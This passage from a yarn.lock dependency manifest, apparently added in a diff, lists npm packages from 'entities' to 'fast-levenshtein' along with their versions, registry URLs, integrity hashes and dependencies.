sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w== + +entities@^2.0.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55" + integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A== + +errno@^0.1.3, errno@~0.1.7: + version "0.1.8" + resolved "https://registry.yarnpkg.com/errno/-/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f" + integrity sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A== + dependencies: + prr "~1.0.1" + +error-ex@^1.2.0, error-ex@^1.3.1: + version "1.3.2" + resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf" + integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g== + dependencies: + is-arrayish "^0.2.1" + +error-stack-parser@^2.0.6: + version "2.0.6" + resolved "https://registry.yarnpkg.com/error-stack-parser/-/error-stack-parser-2.0.6.tgz#5a99a707bd7a4c58a797902d48d82803ede6aad8" + integrity sha512-d51brTeqC+BHlwF0BhPtcYgF5nlzf9ZZ0ZIUQNZpc9ZB9qw5IJ2diTrBY9jlCJkTLITYPjmiX6OWCwH+fuyNgQ== + dependencies: + stackframe "^1.1.1" + +es-abstract@^1.17.2: + version "1.17.7" + resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.17.7.tgz#a4de61b2f66989fc7421676c1cb9787573ace54c" + integrity sha512-VBl/gnfcJ7OercKA9MVaegWsBHFjV492syMudcnQZvt/Dw8ezpcOHYZXa/J96O8vx+g4x65YKhxOwDUh63aS5g== + dependencies: + es-to-primitive "^1.2.1" + function-bind "^1.1.1" + has "^1.0.3" + has-symbols "^1.0.1" + is-callable "^1.2.2" + is-regex "^1.1.1" + object-inspect "^1.8.0" + object-keys "^1.1.1" + object.assign "^4.1.1" + string.prototype.trimend "^1.0.1" + string.prototype.trimstart "^1.0.1" + +es-abstract@^1.18.0-next.1, es-abstract@^1.18.0-next.2: + version "1.18.0-next.2" + resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.18.0-next.2.tgz#088101a55f0541f595e7e057199e27ddc8f3a5c2" + integrity sha512-Ih4ZMFHEtZupnUh6497zEL4y2+w8+1ljnCyaTa+adcoafI1GOvMwFlDjBLfWR7y9VLfrjRJe9ocuHY1PSR9jjw== + dependencies: + call-bind "^1.0.2" + es-to-primitive "^1.2.1" + function-bind "^1.1.1" + get-intrinsic "^1.0.2" + has "^1.0.3" + has-symbols "^1.0.1" + is-callable "^1.2.2" + is-negative-zero "^2.0.1" + is-regex "^1.1.1" + object-inspect "^1.9.0" + object-keys "^1.1.1" + object.assign "^4.1.2" + string.prototype.trimend "^1.0.3" + string.prototype.trimstart "^1.0.3" + +es-to-primitive@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a" + integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA== + dependencies: + is-callable "^1.1.4" + is-date-object "^1.0.1" + is-symbol "^1.0.2" + +es5-ext@^0.10.35, es5-ext@^0.10.50: + version "0.10.53" + resolved "https://registry.yarnpkg.com/es5-ext/-/es5-ext-0.10.53.tgz#93c5a3acfdbef275220ad72644ad02ee18368de1" + integrity sha512-Xs2Stw6NiNHWypzRTY1MtaG/uJlwCk8kH81920ma8mvN8Xq1gsfhZvpkImLQArw8AHnv8MT2I45J3c0R8slE+Q== + dependencies: + es6-iterator "~2.0.3" + es6-symbol "~3.1.3" + next-tick "~1.0.0" + +es6-iterator@2.0.3, es6-iterator@~2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/es6-iterator/-/es6-iterator-2.0.3.tgz#a7de889141a05a94b0854403b2d0a0fbfa98f3b7" + integrity sha1-p96IkUGgWpSwhUQDstCg+/qY87c= + dependencies: + d "1" + es5-ext "^0.10.35" + es6-symbol "^3.1.1" + +es6-symbol@^3.1.1, es6-symbol@~3.1.3: + version "3.1.3" + resolved "https://registry.yarnpkg.com/es6-symbol/-/es6-symbol-3.1.3.tgz#bad5d3c1bcdac28269f4cb331e431c78ac705d18" + integrity sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA== + dependencies: + d "^1.0.1" + ext "^1.1.2" + +escalade@^3.0.2, escalade@^3.1.1: + version "3.1.1" + resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40" + integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw== + +escape-html@~1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988" + integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg= + +escape-string-regexp@2.0.0, escape-string-regexp@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344" + integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w== + +escape-string-regexp@^1.0.5: + version "1.0.5" + resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4" + integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ= + +escodegen@^1.14.1: + version "1.14.3" + resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-1.14.3.tgz#4e7b81fba61581dc97582ed78cab7f0e8d63f503" + integrity sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw== + dependencies: + esprima "^4.0.1" + estraverse "^4.2.0" + esutils "^2.0.2" + optionator "^0.8.1" + optionalDependencies: + source-map "~0.6.1" + +eslint-config-react-app@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/eslint-config-react-app/-/eslint-config-react-app-6.0.0.tgz#ccff9fc8e36b322902844cbd79197982be355a0e" + integrity sha512-bpoAAC+YRfzq0dsTk+6v9aHm/uqnDwayNAXleMypGl6CpxI9oXXscVHo4fk3eJPIn+rsbtNetB4r/ZIidFIE8A== + dependencies: + confusing-browser-globals "^1.0.10" + +eslint-import-resolver-node@^0.3.4: + version "0.3.4" + resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.4.tgz#85ffa81942c25012d8231096ddf679c03042c717" + integrity sha512-ogtf+5AB/O+nM6DIeBUNr2fuT7ot9Qg/1harBfBtaP13ekEWFQEEMP94BCB7zaNW3gyY+8SHYF00rnqYwXKWOA== + dependencies: + debug "^2.6.9" + resolve "^1.13.1" + +eslint-module-utils@^2.6.0: + version "2.6.0" + resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.6.0.tgz#579ebd094f56af7797d19c9866c9c9486629bfa6" + integrity sha512-6j9xxegbqe8/kZY8cYpcp0xhbK0EgJlg3g9mib3/miLaExuuwc3n5UEfSnU6hWMbT0FAYVvDbL9RrRgpUeQIvA== + dependencies: + debug "^2.6.9" + pkg-dir "^2.0.0" + +eslint-plugin-flowtype@^5.2.0: + version "5.2.2" + resolved "https://registry.yarnpkg.com/eslint-plugin-flowtype/-/eslint-plugin-flowtype-5.2.2.tgz#c6e5dd2fad4e757a1c63e652da6cff597659554f" + integrity sha512-C4PlPYpszr9h1cBfUbTNRI1IdxUCF0qrXAHkXS2+bESp7WUUCnvb3UBBnYlaQLvJYJ2lRz+2SPQQ/WyV7p/Tow== + dependencies: + lodash "^4.17.15" + string-natural-compare "^3.0.1" + +eslint-plugin-import@^2.22.1: + version "2.22.1" + resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.22.1.tgz#0896c7e6a0cf44109a2d97b95903c2bb689d7702" + integrity sha512-8K7JjINHOpH64ozkAhpT3sd+FswIZTfMZTjdx052pnWrgRCVfp8op9tbjpAk3DdUeI/Ba4C8OjdC0r90erHEOw== + dependencies: + array-includes "^3.1.1" + array.prototype.flat "^1.2.3" + contains-path "^0.1.0" + debug "^2.6.9" + doctrine "1.5.0" + eslint-import-resolver-node "^0.3.4" + eslint-module-utils "^2.6.0" + has "^1.0.3" + minimatch "^3.0.4" + object.values "^1.1.1" + read-pkg-up "^2.0.0" + resolve "^1.17.0" + tsconfig-paths "^3.9.0" + +eslint-plugin-jest@^24.1.0: + version "24.1.5" + resolved "https://registry.yarnpkg.com/eslint-plugin-jest/-/eslint-plugin-jest-24.1.5.tgz#1e866a9f0deac587d0a3d5d7cefe99815a580de2" + integrity sha512-FIP3lwC8EzEG+rOs1y96cOJmMVpdFNreoDJv29B5vIupVssRi8zrSY3QadogT0K3h1Y8TMxJ6ZSAzYUmFCp2hg== + dependencies: + "@typescript-eslint/experimental-utils" "^4.0.1" + +eslint-plugin-jsx-a11y@^6.3.1: + version "6.4.1" + resolved "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.4.1.tgz#a2d84caa49756942f42f1ffab9002436391718fd" + integrity sha512-0rGPJBbwHoGNPU73/QCLP/vveMlM1b1Z9PponxO87jfr6tuH5ligXbDT6nHSSzBC8ovX2Z+BQu7Bk5D/Xgq9zg== + dependencies: + "@babel/runtime" "^7.11.2" + aria-query "^4.2.2" + array-includes "^3.1.1" + ast-types-flow "^0.0.7" + axe-core "^4.0.2" + axobject-query "^2.2.0" + damerau-levenshtein "^1.0.6" + emoji-regex "^9.0.0" + has "^1.0.3" + jsx-ast-utils "^3.1.0" + language-tags "^1.0.5" + +eslint-plugin-react-hooks@^4.2.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.2.0.tgz#8c229c268d468956334c943bb45fc860280f5556" + integrity sha512-623WEiZJqxR7VdxFCKLI6d6LLpwJkGPYKODnkH3D7WpOG5KM8yWueBd8TLsNAetEJNF5iJmolaAKO3F8yzyVBQ== + +eslint-plugin-react@^7.21.5: + version "7.22.0" + resolved "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.22.0.tgz#3d1c542d1d3169c45421c1215d9470e341707269" + integrity sha512-p30tuX3VS+NWv9nQot9xIGAHBXR0+xJVaZriEsHoJrASGCJZDJ8JLNM0YqKqI0AKm6Uxaa1VUHoNEibxRCMQHA== + dependencies: + array-includes "^3.1.1" + array.prototype.flatmap "^1.2.3" + doctrine "^2.1.0" + has "^1.0.3" + jsx-ast-utils "^2.4.1 || ^3.0.0" + object.entries "^1.1.2" + object.fromentries "^2.0.2" + object.values "^1.1.1" + prop-types "^15.7.2" + resolve "^1.18.1" + string.prototype.matchall "^4.0.2" + +eslint-plugin-testing-library@^3.9.2: + version "3.10.1" + resolved "https://registry.yarnpkg.com/eslint-plugin-testing-library/-/eslint-plugin-testing-library-3.10.1.tgz#4dd02306d601c3238fdabf1d1dbc5f2a8e85d531" + integrity sha512-nQIFe2muIFv2oR2zIuXE4vTbcFNx8hZKRzgHZqJg8rfopIWwoTwtlbCCNELT/jXzVe1uZF68ALGYoDXjLczKiQ== + dependencies: + "@typescript-eslint/experimental-utils" "^3.10.1" + +eslint-scope@^4.0.3: + version "4.0.3" + resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-4.0.3.tgz#ca03833310f6889a3264781aa82e63eb9cfe7848" + integrity sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg== + dependencies: + esrecurse "^4.1.0" + estraverse "^4.1.1" + +eslint-scope@^5.0.0, eslint-scope@^5.1.1: + version "5.1.1" + resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c" + integrity sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw== + dependencies: + esrecurse "^4.3.0" + estraverse "^4.1.1" + +eslint-utils@^2.0.0, eslint-utils@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/eslint-utils/-/eslint-utils-2.1.0.tgz#d2de5e03424e707dc10c74068ddedae708741b27" + integrity sha512-w94dQYoauyvlDc43XnGB8lU3Zt713vNChgt4EWwhXAP2XkBvndfxF0AgIqKOOasjPIPzj9JqgwkwbCYD0/V3Zg== + dependencies: + eslint-visitor-keys "^1.1.0" + +eslint-visitor-keys@^1.0.0, eslint-visitor-keys@^1.1.0, eslint-visitor-keys@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz#30ebd1ef7c2fdff01c3a4f151044af25fab0523e" + integrity sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ== + +eslint-visitor-keys@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.0.0.tgz#21fdc8fbcd9c795cc0321f0563702095751511a8" + integrity sha512-QudtT6av5WXels9WjIM7qz1XD1cWGvX4gGXvp/zBn9nXG02D0utdU3Em2m/QjTnrsk6bBjmCygl3rmj118msQQ== + +eslint-webpack-plugin@^2.5.2: + version "2.5.2" + resolved "https://registry.yarnpkg.com/eslint-webpack-plugin/-/eslint-webpack-plugin-2.5.2.tgz#4ee17577d6392bf72048080a1678d6237183db81" + integrity sha512-ndD9chZ/kaGnjjx7taRg7c6FK/YKb29SSYzaLtPBIYLYJQmZtuKqtQbAvTS2ymiMQT6X0VW9vZIHK0KLstv93Q== + dependencies: + "@types/eslint" "^7.2.6" + arrify "^2.0.1" + jest-worker "^26.6.2" + micromatch "^4.0.2" + schema-utils "^3.0.0" + +eslint@^7.11.0: + version "7.20.0" + resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.20.0.tgz#db07c4ca4eda2e2316e7aa57ac7fc91ec550bdc7" + integrity sha512-qGi0CTcOGP2OtCQBgWZlQjcTuP0XkIpYFj25XtRTQSHC+umNnp7UMshr2G8SLsRFYDdAPFeHOsiteadmMH02Yw== + dependencies: + "@babel/code-frame" "7.12.11" + "@eslint/eslintrc" "^0.3.0" + ajv "^6.10.0" + chalk "^4.0.0" + cross-spawn "^7.0.2" + debug "^4.0.1" + doctrine "^3.0.0" + enquirer "^2.3.5" + eslint-scope "^5.1.1" + eslint-utils "^2.1.0" + eslint-visitor-keys "^2.0.0" + espree "^7.3.1" + esquery "^1.4.0" + esutils "^2.0.2" + file-entry-cache "^6.0.0" + functional-red-black-tree "^1.0.1" + glob-parent "^5.0.0" + globals "^12.1.0" + ignore "^4.0.6" + import-fresh "^3.0.0" + imurmurhash "^0.1.4" + is-glob "^4.0.0" + js-yaml "^3.13.1" + json-stable-stringify-without-jsonify "^1.0.1" + levn "^0.4.1" + lodash "^4.17.20" + minimatch "^3.0.4" + natural-compare "^1.4.0" + optionator "^0.9.1" + progress "^2.0.0" + regexpp "^3.1.0" + semver "^7.2.1" + strip-ansi "^6.0.0" + strip-json-comments "^3.1.0" + table "^6.0.4" + text-table "^0.2.0" + v8-compile-cache "^2.0.3" + +espree@^7.3.0, espree@^7.3.1: + version "7.3.1" + resolved "https://registry.yarnpkg.com/espree/-/espree-7.3.1.tgz#f2df330b752c6f55019f8bd89b7660039c1bbbb6" + integrity sha512-v3JCNCE64umkFpmkFGqzVKsOT0tN1Zr+ueqLZfpV1Ob8e+CEgPWa+OxCoGH3tnhimMKIaBm4m/vaRpJ/krRz2g== + dependencies: + acorn "^7.4.0" + acorn-jsx "^5.3.1" + eslint-visitor-keys "^1.3.0" + +esprima@^4.0.0, esprima@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71" + integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A== + +esquery@^1.4.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.4.0.tgz#2148ffc38b82e8c7057dfed48425b3e61f0f24a5" + integrity sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w== + dependencies: + estraverse "^5.1.0" + +esrecurse@^4.1.0, esrecurse@^4.3.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921" + integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag== + dependencies: + estraverse "^5.2.0" + +estraverse@^4.1.1, estraverse@^4.2.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d" + integrity sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw== + +estraverse@^5.1.0, estraverse@^5.2.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.2.0.tgz#307df42547e6cc7324d3cf03c155d5cdb8c53880" + integrity sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ== + +estree-walker@^0.6.1: + version "0.6.1" + resolved "https://registry.yarnpkg.com/estree-walker/-/estree-walker-0.6.1.tgz#53049143f40c6eb918b23671d1fe3219f3a1b362" + integrity sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w== + +estree-walker@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/estree-walker/-/estree-walker-1.0.1.tgz#31bc5d612c96b704106b477e6dd5d8aa138cb700" + integrity sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg== + +esutils@^2.0.2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64" + integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g== + +etag@~1.8.1: + version "1.8.1" + resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887" + integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc= + +eventemitter3@^4.0.0: + version "4.0.7" + resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f" + integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw== + +events@^3.0.0: + version "3.2.0" + resolved "https://registry.yarnpkg.com/events/-/events-3.2.0.tgz#93b87c18f8efcd4202a461aec4dfc0556b639379" + integrity sha512-/46HWwbfCX2xTawVfkKLGxMifJYQBWMwY1mjywRtb4c9x8l5NP3KoJtnIOiL1hfdRkIuYhETxQlo62IF8tcnlg== + +eventsource@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/eventsource/-/eventsource-1.0.7.tgz#8fbc72c93fcd34088090bc0a4e64f4b5cee6d8d0" + integrity sha512-4Ln17+vVT0k8aWq+t/bF5arcS3EpT9gYtW66EPacdj/mAFevznsnyoHLPy2BA8gbIQeIHoPsvwmfBftfcG//BQ== + dependencies: + original "^1.0.0" + +evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02" + integrity sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA== + dependencies: + md5.js "^1.3.4" + safe-buffer "^5.1.1" + +exec-sh@^0.3.2: + version "0.3.4" + resolved "https://registry.yarnpkg.com/exec-sh/-/exec-sh-0.3.4.tgz#3a018ceb526cc6f6df2bb504b2bfe8e3a4934ec5" + integrity sha512-sEFIkc61v75sWeOe72qyrqg2Qg0OuLESziUDk/O/z2qgS15y2gWVFrI6f2Qn/qw/0/NCfCEsmNA4zOjkwEZT1A== + +execa@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/execa/-/execa-1.0.0.tgz#c6236a5bb4df6d6f15e88e7f017798216749ddd8" + integrity sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA== + dependencies: + cross-spawn "^6.0.0" + get-stream "^4.0.0" + is-stream "^1.1.0" + npm-run-path "^2.0.0" + p-finally "^1.0.0" + signal-exit "^3.0.0" + strip-eof "^1.0.0" + +execa@^4.0.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/execa/-/execa-4.1.0.tgz#4e5491ad1572f2f17a77d388c6c857135b22847a" + integrity sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA== + dependencies: + cross-spawn "^7.0.0" + get-stream "^5.0.0" + human-signals "^1.1.1" + is-stream "^2.0.0" + merge-stream "^2.0.0" + npm-run-path "^4.0.0" + onetime "^5.1.0" + signal-exit "^3.0.2" + strip-final-newline "^2.0.0" + +exit@^0.1.2: + version "0.1.2" + resolved "https://registry.yarnpkg.com/exit/-/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c" + integrity sha1-BjJjj42HfMghB9MKD/8aF8uhzQw= + +expand-brackets@^2.1.4: + version "2.1.4" + resolved "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622" + integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI= + dependencies: + debug "^2.3.3" + define-property "^0.2.5" + extend-shallow "^2.0.1" + posix-character-classes "^0.1.0" + regex-not "^1.0.0" + snapdragon "^0.8.1" + to-regex "^3.0.1" + +expect@^26.6.0, expect@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/expect/-/expect-26.6.2.tgz#c6b996bf26bf3fe18b67b2d0f51fc981ba934417" + integrity sha512-9/hlOBkQl2l/PLHJx6JjoDF6xPKcJEsUlWKb23rKE7KzeDqUZKXKNMW27KIue5JMdBV9HgmoJPcc8HtO85t9IA== + dependencies: + "@jest/types" "^26.6.2" + ansi-styles "^4.0.0" + jest-get-type "^26.3.0" + jest-matcher-utils "^26.6.2" + jest-message-util "^26.6.2" + jest-regex-util "^26.0.0" + +express@^4.17.1: + version "4.17.1" + resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134" + integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g== + dependencies: + accepts "~1.3.7" + array-flatten "1.1.1" + body-parser "1.19.0" + content-disposition "0.5.3" + content-type "~1.0.4" + cookie "0.4.0" + cookie-signature "1.0.6" + debug "2.6.9" + depd "~1.1.2" + encodeurl "~1.0.2" + escape-html "~1.0.3" + etag "~1.8.1" + finalhandler "~1.1.2" + fresh "0.5.2" + merge-descriptors "1.0.1" + methods "~1.1.2" + on-finished "~2.3.0" + parseurl "~1.3.3" + path-to-regexp "0.1.7" + proxy-addr "~2.0.5" + qs "6.7.0" + range-parser "~1.2.1" + safe-buffer "5.1.2" + send "0.17.1" + serve-static "1.14.1" + setprototypeof "1.1.1" + statuses "~1.5.0" + type-is "~1.6.18" + utils-merge "1.0.1" + vary "~1.1.2" + +ext@^1.1.2: + version "1.4.0" + resolved "https://registry.yarnpkg.com/ext/-/ext-1.4.0.tgz#89ae7a07158f79d35517882904324077e4379244" + integrity sha512-Key5NIsUxdqKg3vIsdw9dSuXpPCQ297y6wBjL30edxwPgt2E44WcWBZey/ZvUc6sERLTxKdyCu4gZFmUbk1Q7A== + dependencies: + type "^2.0.0" + +extend-shallow@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f" + integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8= + dependencies: + is-extendable "^0.1.0" + +extend-shallow@^3.0.0, extend-shallow@^3.0.2: + version "3.0.2" + resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8" + integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg= + dependencies: + assign-symbols "^1.0.0" + is-extendable "^1.0.1" + +extend@~3.0.2: + version "3.0.2" + resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa" + integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g== + +extglob@^2.0.4: + version "2.0.4" + resolved "https://registry.yarnpkg.com/extglob/-/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543" + integrity sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw== + dependencies: + array-unique "^0.3.2" + define-property "^1.0.0" + expand-brackets "^2.1.4" + extend-shallow "^2.0.1" + fragment-cache "^0.2.1" + regex-not "^1.0.0" + snapdragon "^0.8.1" + to-regex "^3.0.1" + +extsprintf@1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05" + integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU= + +extsprintf@^1.2.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.4.0.tgz#e2689f8f356fad62cca65a3a91c5df5f9551692f" + integrity sha1-4mifjzVvrWLMplo6kcXfX5VRaS8= + +fast-deep-equal@^3.1.1: + version "3.1.3" + resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525" + integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q== + +fast-glob@^3.1.1, fast-glob@^3.2.5: + version "3.2.5" + resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.2.5.tgz#7939af2a656de79a4f1901903ee8adcaa7cb9661" + integrity sha512-2DtFcgT68wiTTiwZ2hNdJfcHNke9XOfnwmBRWXhmeKM8rF0TGwmC/Qto3S7RoZKp5cilZbxzO5iTNTQsJ+EeDg== + dependencies: + "@nodelib/fs.stat" "^2.0.2" + "@nodelib/fs.walk" "^1.2.3" + glob-parent "^5.1.0" + merge2 "^1.3.0" + micromatch "^4.0.2" + picomatch "^2.2.1" + +fast-json-stable-stringify@^2.0.0, fast-json-stable-stringify@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633" + integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw== + +fast-levenshtein@^2.0.6, fast-levenshtein@~2.0.6: + version "2.0.6" + resolved 